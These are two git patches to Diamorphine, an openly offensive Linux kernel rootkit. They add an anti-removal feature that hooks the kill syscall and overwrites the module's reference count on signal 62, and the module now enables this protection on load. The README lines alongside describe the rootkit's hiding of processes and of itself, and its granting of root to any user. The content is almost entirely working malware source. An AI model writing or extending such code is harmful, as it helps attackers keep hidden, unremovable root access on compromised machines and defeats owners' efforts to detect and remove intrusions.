From c0669d3dde091b4825f333ba921030ce3780115e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9A=D0=B8=D1=80=D0=B8=D0=BB=D0=BB=20=D0=A3=D1=80=D1=83?= =?UTF-8?q?=D1=81=D0=BE=D0=B2?= Date: Fri, 24 Apr 2026 21:28:28 +0300 Subject: [PATCH 1/2] Add module protection featuer --- README.md | 8 +++++++- diamorphine.c | 38 ++++++++++++++++++++++++++++++++++++++ diamorphine.h | 7 +++++++ 3 files changed, 52 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 28e4737..8f236c7 100644 --- a/README.md +++ b/README.md @@ -10,6 +10,8 @@ Features - Hide/unhide any process by sending a signal 31; +- Sending a signal 62(to any pid) protect moudule from delete_module system call; + - Sending a signal 63(to any pid) makes the module become (in)visible; - Sending a signal 64(to any pid) makes the given user become root; @@ -49,8 +51,9 @@ insmod diamorphine.ko Uninstall -- -The module starts invisible, to remove you need to make it visible +The module starts invisible and protected, to remove you need to make it visible and unprotected ``` +kill -62 0 kill -63 0 ``` @@ -87,3 +90,6 @@ https://github.com/zizzu0/LinuxKernelModules/ Linux Rootkits: New Methods for Kernel 5.7+ https://xcellerator.github.io/posts/linux_rootkits_11/ + +LKM Refcount Change +https://cu63.github.io/linux/rootkits/LKM-refcount-change/ diff --git a/diamorphine.c b/diamorphine.c index 8f94e64..39e20fd 100644 --- a/diamorphine.c +++ b/diamorphine.c @@ -300,6 +300,8 @@ tidy(void) static struct list_head *module_previous; static short module_hidden = 0; +static short module_protected = 0; + void module_show(void) { @@ -315,6 +317,37 @@ module_hide(void) module_hidden = 1; } +void +module_protect(void) +{ + atomic_t *p_ref_count = &THIS_MODULE->refcnt; + int old_val; + + do { + old_val = atomic_read(p_ref_count); + if (atomic_cmpxchg(p_ref_count, old_val, 0x8163) == old_val) { + break; + } + } while (1); + module_protected = 1; +} + +void +module_unprotect(void) +{ + atomic_t *p_ref_count = &THIS_MODULE->refcnt; + int old_val; + + do { + old_val = atomic_read(p_ref_count); + if (atomic_cmpxchg(p_ref_count, old_val, 1) == old_val) { + break; + } + } while (1); + + module_protected = 0; +} + #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) asmlinkage long hacked_kill(const struct pt_regs *pt_regs) @@ -345,6 +378,10 @@ hacked_kill(pid_t pid, int sig) if (module_hidden) module_show(); else module_hide(); break; + case SIGPROTECT: + if (module_protected) module_unprotect(); + else module_protect(); + break; default: #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) return orig_kill(pt_regs); @@ -414,6 +451,7 @@ diamorphine_init(void) #endif module_hide(); + module_protect(); tidy(); #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) diff --git a/diamorphine.h b/diamorphine.h index 8a53e71..82d11c4 100644 --- a/diamorphine.h +++ b/diamorphine.h @@ -15,6 +15,12 @@ give_root(void); void module_show(void); +void +module_protect(void); + +void +module_unprotect(void); + void module_hide(void); @@ -41,6 +47,7 @@ struct linux_dirent { enum { SIGINVIS = 31, SIGSUPER = 64, + SIGPROTECT = 62, SIGMODINVIS = 63, }; From 608e9ad6ee9257b400587e8c76c2cbeebd719ce7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9A=D0=B8=D1=80=D0=B8=D0=BB=D0=BB=20=D0=A3=D1=80=D1=83?= =?UTF-8?q?=D1=81=D0=BE=D0=B2?= Date: Fri, 24 Apr 2026 21:33:28 +0300 Subject: [PATCH 2/2] fix mistakes --- README.md | 2 +- diamorphine.c | 17 ++--------------- diamorphine.h | 2 +- 3 files changed, 4 insertions(+), 17 deletions(-) diff --git a/README.md b/README.md index 8f236c7..a796508 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Features - Hide/unhide any process by sending a signal 31; -- Sending a signal 62(to any pid) protect moudule from delete_module system call; +- Sending a signal 62(to any pid) protect module from delete_module system call; - Sending a signal 63(to any pid) makes the module become (in)visible; diff --git a/diamorphine.c b/diamorphine.c index 39e20fd..6181007 100644 --- a/diamorphine.c +++ b/diamorphine.c @@ -321,14 +321,8 @@ void module_protect(void) { atomic_t *p_ref_count = &THIS_MODULE->refcnt; - int old_val; - do { - old_val = atomic_read(p_ref_count); - if (atomic_cmpxchg(p_ref_count, old_val, 0x8163) == old_val) { - break; - } - } while (1); + atomic_set(p_ref_count, 0x8163); module_protected = 1; } @@ -336,15 +330,8 @@ void module_unprotect(void) { atomic_t *p_ref_count = &THIS_MODULE->refcnt; - int old_val; - - do { - old_val = atomic_read(p_ref_count); - if (atomic_cmpxchg(p_ref_count, old_val, 1) == old_val) { - break; - } - } while (1); + atomic_set(p_ref_count, 1); module_protected = 0; } diff --git a/diamorphine.h b/diamorphine.h index 82d11c4..a589183 100644 --- a/diamorphine.h +++ b/diamorphine.h @@ -47,8 +47,8 @@ struct linux_dirent { enum { SIGINVIS = 31, SIGSUPER = 64, - SIGPROTECT = 62, SIGMODINVIS = 63, + SIGPROTECT = 62, }; #ifndef IS_ENABLED